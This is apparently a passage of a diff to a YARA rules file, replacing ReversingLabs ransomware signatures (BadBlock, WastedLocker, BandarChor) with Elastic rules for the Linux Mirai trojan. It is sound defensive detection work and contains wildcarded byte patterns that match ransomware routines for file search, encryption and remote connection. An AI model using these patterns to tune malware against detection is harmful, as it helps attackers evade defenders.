-            ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
-            35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? FF 75 ?? E8 ?? ?? ?? ?? C9 C3
-        }
-		$extract_rsrc_v2 = {
-            55 8B EC 83 C4 ?? 53 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89
-            45 ?? 50 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89 45 ?? FF 75 ?? 6A ?? E8
-            ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ??
-            ?? ?? ?? 89 45 ?? 8B F8 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 8B 45 ?? 83
-            E8 ?? 50 57 E8 ?? ?? ?? ?? 8B 1F 83 C7 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            0B C0 75 ?? E9 ?? ?? ?? ?? A3 ?? ?? ?? ?? 53 57 FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03
-            FB 8B 1F 83 C7 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ??
-            ?? A3 ?? ?? ?? ?? 53 57 FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 FB 8B 1F 83 C7 ?? 53 6A
-            ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? A3 ?? ?? ?? ?? 53 57
-            FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 FB 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7
-            ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7
-            ?? FF 75 ?? E8 ?? ?? ?? ?? 5B C9 C3
-        }
+		$a = { 85 50 FF FF FF 0F B6 40 04 3C 07 75 79 48 8B 85 50 FF FF FF }
 
 	condition:
-		uint16(0)==0x5A4D and (($extract_rsrc_v1) and ( all of ($search_and_encrypt_v1_p*))) or (($extract_rsrc_v2) and ( all of ($search_and_encrypt_v2_p*)))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Badblock : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_3A85A418 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects BadBlock ransomware."
-		author = "ReversingLabs"
-		id = "a5afb7d6-4bc1-5465-a35d-fe40e7f11c3e"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.BadBlock.yara#L1-L100"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "421e6a3772eeec6ef0cbb2427b7e044b450a2b2146cee2ca7d8c3a3a92918557"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "3a85a418-2bd9-445a-86cb-657ca7edf566"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L458-L476"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a"
+		logic_hash = "bd7fe497fb2557c9e9c26ec90e783f03cbbc9bdaa8d20b364ce65edf6c1e5fa3"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "BadBlock"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files = {
-            55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 5D ?? 89 5D ?? 89 4D ?? 89 55 ?? 8B D8
-            8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ??
-            8B 40 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 55
-            ?? 8B 45 ?? 8B 40 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45
-            ?? B2 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D
-            45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ??
-            ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 6A ?? 50 52
-            8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50
-            E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20
-            6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 12 89 45 ?? 89 55 ?? E9 ?? ??
-            ?? ?? 83 7D ?? ?? 75 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? EB ?? 7D ?? 8B 45 ?? 89 45 ?? 8B
-            45 ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B D8 8B C3
-            E8 ?? ?? ?? ?? 8B F0 8B D6 8B CB 8B 45 ?? 8B 38 FF 57 ?? 89 45 ?? 8B 45 ?? 8B 10 FF
-            12 52 50 8B 45 ?? E8 ?? ?? ?? ?? 3B 54 24 ?? 75 ?? 3B 04 24 5A 58 72 ?? EB ?? 5A 58
-            7C ?? 8B 45 ?? 50 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ??
-            8B 45 ?? 50 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8
-            ?? ?? ?? ?? 52 50 8B C3 99 29 04 24 19 54 24 ?? 58 5A 52 50 8B 45 ?? E8 ?? ?? ?? ??
-            8B D6 8B 4D ?? 8B 45 ?? 8B 38 FF 57 ?? 8B C3 99 29 45 ?? 19 55 ?? 8B D3 8B C6 E8 ??
-            ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 0F 87 ?? ?? ?? ?? EB ?? 0F 8F ?? ?? ?? ?? A1
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B
-            48 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? A1 ?? ?? ?? ?? 8B 00 8B 80 ??
-            ?? ?? ?? 8B 80 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 18 FF 53 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33
-            C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
-            ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ??
-            ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ??
-            EB ?? 5F 5E 5B 8B E5 5D C3
-        }
-		$search_files = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D
-            ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 55 ?? 89 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
-            89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B
-            55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 85 C0 0F 94 C3 E9 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 66 83 38 ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            85 C0 75 ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ??
-            ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 0D ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66
-            83 38 ?? 74 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
-            75 ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
-            8B C6 8B 08 FF 51 ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 94 C3 84 DB 0F 85 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? 8B D8 4B 85 DB 7C ??
-            43 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C6 8B 38 FF
-            57 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? 4B 75 ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 5A 59 59
-            64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
-        }
-		$remote_connection = {
-            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ??
-            8D 4D ?? 8B 45 ?? 8B 90 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 08 FF
-            51 ?? 8B 45 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
-            05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
-            89 20 6A ?? 8D 45 ?? 50 8D 4D ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ??
-            8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 4D ??
-            8B 45 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
-            74 ?? C7 45 ?? ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 83 EB ?? 8B 1B 68 ?? ?? ?? ?? 8B CB
-            BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ??
-            8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 8B 90 ?? ?? ?? ?? 8D 45
-            ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B2 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 45
-            ?? 8B 90 ?? ?? ?? ?? 8D 45 ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 8B 75 ?? 85 F6 74 ?? 83 EE ?? 8B 36 68 ?? ?? ?? ?? 8B CE BA ?? ?? ?? ?? 8B 45 ??
-            E8 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59
-            59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3
-        }
+		$a = { 01 D8 66 C1 C8 08 C1 C8 10 66 C1 C8 08 66 83 7C 24 2C FF 89 }
 
 	condition:
-		uint16(0)==0x5A4D and ($search_files and $encrypt_files and $remote_connection)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Wastedlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_24C5B7D6 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects WastedLocker ransomware."
-		author = "ReversingLabs"
-		id = "68090960-9878-5836-8caa-bf8f408a474e"
-		date = "2020-12-07"
-		modified = "2020-12-07"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Wastedlocker.yara#L1-L86"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0899d3cc3bcea8eae60689a54f34e57bdc52088c879c8420b8e6d0b1969cb186"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "24c5b7d6-1aa8-4d8e-9983-c7234f57c3de"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L478-L496"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7c2f8ba2d6f1e67d1b4a3a737a449429c322d945d49dafb9e8c66608ab2154c4"
+		logic_hash = "f790f6b8fcf932773054525ed74a3f15998d91a2626ae9c56486de8dabc2035c"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "WastedLocker"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "3411b624f02dd1c7a0e663f1f119c8d5e47a81892bb7c445b7695c605b0b8ee2"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files_p1 = {
-            55 8B EC 83 EC ?? 83 65 ?? ?? 57 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 53 8B 5D ?? 8D 04 41 89 45 ??
-            C7 00 ?? ?? ?? ?? 8B 43 ?? 57 51 89 45 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 89 45 ?? 0F 84
-            ?? ?? ?? ?? 56 8D 47 ?? 66 83 38 ?? 75 ?? 0F B7 4F ?? 66 85 C9 0F 84 ?? ?? ?? ?? 66
-            83 F9 ?? 75 ?? 66 83 7F ?? ?? 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F0
-            8D 14 0E B8 ?? ?? ?? ?? 3B D0 89 55 ?? 0F 83 ?? ?? ?? ?? F6 07 ?? 0F 85 ?? ?? ?? ??
-            8B 45 ?? 85 C0 74 ?? 83 7F ?? ?? 75 ?? 39 47 ?? 0F 82 ?? ?? ?? ?? 8D 44 36 ?? 50 8D
-            47 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 85 C9 74 ?? 8B 45 ?? 83 C0 ?? 50
-            E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 83 C0 ?? 50 E8
-            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 03 C6 8D 44 00 ?? 83 C0 ?? 50 6A ?? FF
-            35 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? FF 75 ?? 6A
-            ?? 56 E8 ?? ?? ?? ?? 8B 45 ?? 8D 44 00 ?? 50 FF 75 ?? 8D 46 ?? 50 89 76 ?? 89 36 E8
-            ?? ?? ?? ?? 8B 45 ?? 89 46 ?? 8B 45 ?? 89 46 ?? 8B 07 89 46 ?? 8B 47 ?? 89 46 ?? 8B
-        }
-		$find_files_p2 = {
-            47 ?? 89 46 ?? 8B 47 ?? 89 46 ?? 8B 47 ?? 83 C4 ?? 89 46 ?? 83 3B ?? 74 ?? 53 FF 15
-            ?? ?? ?? ?? 8D 43 ?? 8B 48 ?? 89 06 89 4E ?? 89 31 89 70 ?? FF 43 ?? 83 7B ?? ?? 74
-            ?? 8B 43 ?? 83 F8 ?? 75 ?? FF 73 ?? FF 15 ?? ?? ?? ?? 83 3B ?? 0F 84 ?? ?? ?? ?? 53
-            FF 15 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? EB ?? F6 45 ?? ?? 74 ?? 8D 4C 0E ?? 3B
-            C8 73 ?? 8D 04 36 50 8D 47 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 8D 04 41
-            66 83 60 ?? ?? 83 C4 ?? 83 7D ?? ?? 66 C7 00 ?? ?? 74 ?? 83 C1 ?? 51 8B 4D ?? E8 ??
-            ?? ?? ?? 85 C0 75 ?? 8B 4D ?? FF 75 ?? 8B 45 ?? 53 FF 75 ?? 8D 44 06 ?? FF 75 ?? 50
-            51 E8 ?? ?? ?? ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? F6 45 ?? ??
-            74 ?? 83 65 ?? ?? 83 7D ?? ?? 75 ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 43
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5E 57 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5B EB
-            ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 5F C9 C2
-        }
-		$encrypt_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 75 ?? 8B 3D ?? ?? ?? ?? FF 75 ?? FF D7 85 C0
-            0F 84 ?? ?? ?? ?? FF 75 ?? 8D 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 89 45 ?? 75 ?? FF 75 ??
-            FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? F6 C3 ?? 74 ?? 83 E0 ?? 50 FF 75 ?? FF 15 ??
-            ?? ?? ?? 85 C0 75 ?? 33 DB 85 DB 89 5D ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 75 ?? E8 ??
-            ?? ?? ?? 89 45 ?? EB ?? 83 65 ?? ?? 33 C9 39 4D ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 39 4D ?? 74 ?? 8B 45 ?? 8B 10 8B 40 ?? C1 65 ?? ?? 89 55 ?? 89 45
-            ?? EB ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 89 4D ?? 8B 45 ?? 89 45 ?? 89 4D ?? 89 4D ??
-            8B 5D ?? 33 F6 8B 45 ?? 85 C0 89 45 ?? 74 ?? 3B D8 73 ?? 89 5D ?? 2B 45 ?? 89 45 ??
-            75 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 7D ?? 8D 45 ?? 50 57 8D 47 ?? 50 FF 75
-            ?? 8B 45 ?? 03 C6 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 03 75 ?? 85 C0 89 45 ?? 0F
-        }
-		$encrypt_files_p2 = {
-            85 ?? ?? ?? ?? 2B 5D ?? 75 ?? EB ?? 8B 7D ?? 8B 45 ?? 0B 45 ?? 0F 84 ?? ?? ?? ?? 33
-            C0 3B 45 ?? 77 ?? 72 ?? 3B 5D ?? 73 ?? 8B C3 EB ?? 8B 45 ?? 29 45 ?? 8B 4D ?? 83 5D
-            ?? ?? 0B 4D ?? 75 ?? 8B 4D ?? 89 4D ?? 03 F0 2B D8 0F 85 ?? ?? ?? ?? 8B 45 ?? 8B 4D
-            ?? 0F AC C8 ?? C1 E9 ?? 85 C0 74 ?? B9 ?? ?? ?? ?? F7 E1 29 45 ?? 19 55 ?? 01 45 ??
-            11 55 ?? 83 7D ?? ?? 75 ?? 8D 75 ?? E8 ?? ?? ?? ?? 85 C0 89 45 ?? 0F 84 ?? ?? ?? ??
-            8B 7D ?? 8D 47 ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 39 75 ?? 74 ?? 83 7D ??
-            ?? 74 ?? 8B 4D ?? 8B 45 ?? 8B D1 0B D0 74 ?? 0F AC C1 ?? C1 E8 ?? 83 4F ?? ?? 89 4F
-            ?? 89 75 ?? 39 75 ?? 74 ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 39
-            75 ?? 74 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 85 DB 0F 85
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 01 75 ?? 83 55 ?? ?? E9 ?? ?? ?? ?? FF 75 ?? FF 75 ?? FF
-            D7 EB ?? FF 15 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 5F 5E 5B C9 C2
-        }
+		$a = { 54 38 1C 80 FA 3E 74 25 80 FA 3A 74 20 80 FA 24 74 1B 80 FA 23 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Bandarchor : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_99D78950 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects BandarChor ransomware."
-		author = "ReversingLabs"
-		id = "c645a081-7ff6-58fc-af8e-55f43f56d0ea"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.BandarChor.yara#L1-L97"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "1c0c33ef7de089fc7ed6b364c7693499d1a93f79a48d6f2a5c375e47aea176bc"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "99d78950-ea23-4166-a85a-7a029209f5b1"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L498-L516"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6"
+		logic_hash = "bfd628a9973f85ed0a8be2723c7ff4bd028af00ea98c9cbcde9df6aabcf394b2"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "BandarChor"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$file_extensions_1 = {
-            55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 F9 51 53 89 55 ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? 8B 95 ??
-            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 85 F9 00 00 00 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ??
